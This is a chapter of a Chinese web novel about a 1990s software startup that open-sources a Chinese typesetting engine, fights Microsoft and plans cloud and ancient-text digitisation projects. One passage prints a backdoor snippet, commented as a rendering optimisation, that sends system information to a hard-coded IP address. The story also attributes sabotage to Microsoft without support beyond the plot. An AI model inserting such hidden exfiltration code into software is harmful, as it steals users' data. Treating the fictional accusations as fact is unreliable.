六月十五日,周六,凌晨两点。
    金牧公司七楼的伺服器机房,四台新买的惠普伺服器指示灯疯狂闪烁。陈静盯著监控屏幕,手指在键盘上飞舞。
    “下载量突破五千了。”她声音沙哑,但透著兴奋,“留言板有三百多条,github——哦不,咱们的『金码社区』上,有二十多个开发者提交了issue。”
    林牧站在她身后,看著屏幕上滚动的数据。
    距离智能排版引擎开源过去一周。这一周,金牧的伺服器被衝垮了三次——访问量远超预期。雷军不得不临时加购带宽,赵磊连夜写负载均衡代码。
    “最活跃的是这几个。”陈静调出用户画像,“『南山客』,清华大学计算机系博士,研究方向是自然语言处理。他提交了三个优化补丁,把引擎的推理速度提升了8%。”
    “『墨韵』,上海交大中文系硕士,但编程很强。她写了一个扩展模块,能识別古诗词的平仄格律,自动调整排版风格。”
    “『铁马冰河』,身份不明,但从代码风格看,应该是资深工程师。他修復了七个边界条件下的bug,代码质量极高。”
    林牧仔细看著这些人的贡献记录:“联繫他们。南山客和墨韵,邀请来bj,费用全包,当面交流。铁马冰河……暂时保持线上联繫,摸清底细。”
    “明白。”陈静记下,“另外,高校公开课的邀请都发出去了。清华、北大、北航、北理工、北师大,五所学校都给了积极回復。下周三第一场,在清华,能坐两百人的报告厅,报名已经满了。”
    “讲什么主题?”
    “你定。”陈静说,“但学生们最想听的,肯定是『国產软体如何对抗微软』。”
    林牧想了想:“不,不讲对抗。讲『中文信息处理的黄金时代』——讲古籍数位化,讲智能排版,讲我们五千年的文字怎么在计算机里重生。”
    陈静眼睛一亮:“这个角度好。”
    正说著,雷军推门进来,脸色难看。
    “林总,联想那边……正式通知了。”他递过一份传真,“从七月起,联想新款电脑只预装微软office。已经预装wps的旧机型,渠道消化完库存后,也不再补货。”
    林牧接过传真,扫了一眼。措辞客气,但意思明確:合作终止。
    “杨志远呢?”
    “调岗了。”雷军苦笑,“去管售后服务了。新上任的渠道总经理,是微软推上来的人。”
    意料之中,但还是像胸口挨了一拳。
    “政府项目那边呢?”林牧问。
    “暂时没影响。”雷军说,“合同签了,他们不敢违约。但后续订单……悬了。”
    林牧把传真扔进碎纸机:“那就自己做渠道。”
    “怎么做?我们没钱铺货。”
    “不做硬体渠道。”林牧走到白板前,“做云渠道。”
    他在白板上写下一个词:wps云服务。
    “现在用户用软体,得买光碟,得安装。”林牧说,“如果我们把wps放在伺服器上,用户打开瀏览器就能用呢?”
    雷军和陈静都愣住了。
    1992年,网际网路在中国还只是科研网的概念。普通用户连“上网”是什么都不知道。
    “这……太超前了吧?”雷军说,“国內连拨號上网都不普及。”
    “所以我们要做两件事。”林牧说,“第一,找电信合作,推出『软体上网卡』——用户买一张卡,拨號上网,直接登录我们的伺服器用wps。第二,跟网吧合作,在网吧电脑里预装客户端,用户去网吧就能用。”
    他顿了顿:“更重要的是,云服务可以按时间收费。一小时一毛钱,一天一块钱,一个月十块钱。比买一套软体便宜多了。”
    陈静快速计算:“如果有一万用户,每人每月十块,就是十万流水。十万……够我们发工资了。”
    “不止。”林牧说,“云服务能收集用户数据——他们用什么功能,遇到什么问题,喜欢什么模板。这些数据,比钱更值钱。”
    雷军皱眉:“可技术难度太大。瀏览器里跑办公软体,现在的网络速度和电脑性能……”
    “所以不是现在。”林牧说,“现在先做客户端,但架构要按云原生设计。等三五年后,网络普及了,我们就能第一时间起飞。”
    他看向两人:“这叫埋种子。微软在打今天的仗,我们在种明天的树。”
    机房外传来脚步声,赵磊拿著笔记本电脑衝进来,脸色发白。
    “林总,出事了。”
    “又怎么了?”
    “我们的开原始码……”赵磊把电脑屏幕转向林牧,“被人恶意提交了后门。”
    屏幕上是一段代码://优化:提升渲染速度 void render_optimize(){//后门:每渲染1000次,向指定ip发送系统信息 static int count = 0; if (++count % 1000 == 0){ send_system_info(“203.34.56.78“);}//实际优化代码//...}
    “这个ip查过了,”赵磊说,“是美国的,註册信息空白。但技术分析,应该是微软的人干的。”
    陈静倒吸一口冷气:“什么时候提交的?”
    “昨天下午。提交者id是『dark_knight』,偽装成热心开发者。”赵磊说,“代码审查时没发现,因为注释写得很像正经优化。刚才南山客发邮件提醒,我才发现。”
    “影响范围?”
    “已经合併到主分支,被下载了八百多次。”赵磊声音发抖,“如果这些用户用在正式环境……”
    “立刻发公告,撤回这个版本,修復后门,发布新版本。”林牧语速飞快,“联繫所有下载用户,邮件通知。在社区置顶警告。”
    “可这样会打击开发者热情……”陈静说。
    “但更能凝聚真正的开发者。”林牧说,“开源社区不是乌托邦,有光明就有黑暗。我们要做的,是把黑暗曝光,让大家一起对抗。”
    他想了想:“另外,把这件事写成技术文章,详细分析后门原理、发现过程、修复方案。发到《计算机世界》和我们的社区。標题就叫:《开源世界的第一次战爭》。”
    雷军眼睛一亮:“示弱反而能得同情?”
    “不是示弱,是亮剑。”林牧说,“告诉所有人,有人在怕我们,怕到要用下三滥手段。那我们做的一定是对的。”
    处理完代码后门,已经是凌晨四点。
    林牧回到办公室,刚坐下,手机响了。
    是叶溪溪。
    “哥,你还在公司?”她声音带著睡意。
    “嗯,有点事。你怎么醒了?”
    “做了个噩梦,梦见你被好多人围著骂。”叶溪溪小声说,“就醒了。你没事吧?”
    “没事。”林牧心里一暖,“梦都是反的。”
    “那……你什么时候回家?妈说你好几天没回来了。”
    “明天。”林牧说,“明天一定回。”
    掛了电话,他靠在椅子上,闭上眼睛。
    累,但睡不著。
    脑子里像过电影一样:法庭上的交锋、联想的背弃、代码后门、云服务的构想、古籍数位化的投標……
    这一切,都压在他一个人肩上。
    忽然,座机响了。
    凌晨四点的电话,通常没好事。
    林牧接起来:“餵?”
    “林总吗?”一个陌生的男声,低沉,带点南方口音,“我是『铁马冰河』。”
    林牧精神一振:“铁马先生,你好。”
    “我看了你们发的后门分析文章。”铁马冰河说,“干得漂亮。但我想提醒你,这只是一个开始。”
    “什么意思?”
    “微软在中国,不只有法律团队和商务手段。”铁马冰河顿了顿,“他们还有『技术清道夫』——专门找开源项目的漏洞,或者製造漏洞,然后利用舆论打压。”
    “你好像很了解?”
    “因为我在里面干过。”铁马冰河说得很平静,“三年前,我是微软西雅图总部的安全工程师。后来看不惯一些做法,辞职了。”
    林牧坐直身体:“为什么告诉我这些?”
    “因为你们在做对的事。”铁马冰河说,“中文信息处理,不该被外国人定义。我虽然离开了微软,但还有些老朋友。他们透露,微软下一步会针对你们的古籍数位化项目。”
    “具体?”
    “他们会找一些『专家』,发文质疑古籍数位化的必要性,说这是浪费钱,说纸质书更好。”铁马冰河说,“同时,他们会推自己的『数字图书馆』项目,免费给中国大学用,条件是要用他们的格式和標准。”
    又是老套路——免费换市场,標准换控制。
    “谢谢提醒。”林牧说,“你有什么建议?”
    “两条路。”铁马冰河说,“第一,抢在他们前面,把古籍数位化的声势造大,拉上王选院士这样的泰斗站台。第二,技术上加一道保险——开发一个独立於系统的『古籍阅读器』,哪怕windows不能用,这个阅读器也能跑。”
    林牧眼睛一亮:“你是说……做一套自己的运行时环境?”
    “对。就像当年的金山wps,在dos下能跑,不依赖windows。”铁马冰河说,“这样就算微软在作业系统层面卡你们,你们还有退路。”
    “可开发运行时环境……工程量太大。”
    “所以要从现在开始,一点一点做。”铁马冰河说,“我可以帮忙。但我有条件。”
    “你说。”
    “我不要工资,也不要股份。”铁马冰河说,“我要一个承诺——如果这个运行时环境做成了,要完全开源,永远不能闭源,不能加后门。”
    林牧沉默了几秒:“为什么?”
    “因为我相信,软体应该自由。”铁马冰河说,“尤其是承载文化的软体。中国的古籍,应该用中国人自己写的自由软体来保存。”
    “我答应你。”林牧说,“欢迎加入。”
    掛了电话,天边已经泛白。
    林牧走到窗前,看著晨曦中的北京城。
    城市在慢慢甦醒。环卫工人在扫地,早餐摊在生火,送奶工骑著自行车叮噹作响。
    一切都充满生机。
    他打开电脑,登录金码社区。
    后门事件的文章下面,已经有了两百多条评论:
    “支持金牧!这种下三滥手段,只能说明微软怕了!”
    “我是下载了那个版本的用户,已经按照指南修復了。感谢金牧的透明处理!”
    “从今天起,我是金牧的铁粉。不为別的,就为这份担当。”
    “算我一个。我是復旦计算机系的,刚提交了一个小补丁,希望能帮上忙。”
    林牧一条条看著,嘴角露出笑意。
    开源的火,已经点起来了。
    虽然还小,但不会灭。
    上午九点,公司人渐渐多了。
    林牧把核心团队召集到会议室。
    “三件事。”他开门见山,“第一,古籍数位化项目,提前启动。陈静带队,一个月內拿出演示版。不要等立项会了,我们先做出来。”
    “第二,启动『长风』计划——开发独立运行时环境。铁马冰河会远程协助,雷军你对接。”
    “第三,”他顿了顿,“下周三的清华公开课,我决定讲『开源与自由』。课件我亲自写,赵磊帮我准备演示材料。”
    “林总,”財务李姐犹豫著开口,“这些都要钱……公司帐上,只剩二十万了。这个月工资还没发。”
    “工资按时发。”林牧说,“钱的事我想办法。”
    散会后,林牧给叶文斌打电话。
    “叔叔,还得借点钱。”
    “多少?”
    “五十万。”
    电话那头沉默:“上次的五十万还没还。”
    “我知道。”林牧说,“但这次不一样。我们要做运行时环境,要做古籍数位化,要做云服务……这些都是必须做的。”
    “做成了,能赚钱吗?”
    “短期內不能。”林牧实话实说,“但做成了,金牧就能活下来。做不成,迟早被微软挤死。”
    叶文斌嘆了口气:“小子,我不是开银行的。五十万,我得卖两套房。”
    “算我借的。利息按银行最高给。”
    “我不要利息。”叶文斌说,“我要你答应我一件事。”
    “您说。”
    “无论多难,別让溪溪担心。”叶文斌声音很轻,“她这几天睡不好,老做噩梦。我就这么一个女儿。”
    林牧心里一揪:“我答应。”
    “钱明天到你帐上。”叶文斌掛了电话。
    放下电话,林牧坐在椅子上,很久没动。
    窗外,阳光正好。
    手机震动,是叶溪溪发来的照片——她在师大图书馆,面前堆著厚厚的古籍,对著镜头比耶。
    照片下面有一行字:
    “哥,我在帮陈静姐找资料!这些宋版书,好漂亮!”
    林牧笑了,回覆:
    “注意休息。晚上回家吃饭。”
    他放下手机,打开文档,开始写公开课的课件。
    標题是:《当汉字遇见代码——一个开源主义者的自白》。
    第一句话写道:“五千年前,我们的祖先在龟甲上刻下第一个字。今天,我们在计算机里写下第一行代码。这是一场跨越五千年的对话,而我们,是这场对话的翻译官。”
    写到这里,他停下笔。
    窗外,一只麻雀落在窗台,歪头看著他。
    他忽然想起重生回来的那一天。
    大柳树下,李婶的嘲讽,母亲的眼泪,自己的绝望。
    那时候的他,只想还清债,让父母过上好日子。
    现在,他肩上扛著几十號人的生计,扛著一个行业的希望,扛著五千年的文化传承。
    路越走越重,但也越走越亮。
    因为这条路上,不止他一个人。
    有雷军,有赵磊,有陈静,有铁马冰河,有南山客,有墨韵,有千千万万还没见面但志同道合的人。
    还有叶溪溪。
    他继续写:
    “开源不是慈善,是生存智慧。一个人可以走得很快,但一群人才能走得很远。今天,我们把代码开放,不是为了当圣人,是为了找到同路人。”
    “中文信息处理的黄金时代,不在別人的实验室里,在我们自己的键盘上。”
    写完最后一句,他靠在椅背上,长长吐出一口气。
    办公室门被轻轻推开,陈静探进头来:“林总,古籍引擎的演示版跑通了。要来看看吗?”
    “来。”
    林牧站起身,走出办公室。
    走廊尽头的研发区,一群人围在一台电脑前。
    屏幕上,一页《兰亭序》正在缓缓渲染。毛笔字的飞白、顿挫、浓淡,在像素间完美重现。
    “渲染时间:0.8秒。”张伟报数。
    “字形准確率:99.3%。”李明说。
    陈静看向林牧,眼睛亮晶晶的:“林总,我们做到了。”
    林牧看著屏幕上的《兰亭序》,那一行行飘逸的文字,像穿越千年的风,吹进了这间小小的办公室。
    “真好。”他说。
    窗外,阳光洒进来,照亮了屏幕,照亮了每个人的脸。
    新的一天,开始了。
    新的战斗,也开始了。
    但这次,他们手里有剑,身后有人,心中有光。

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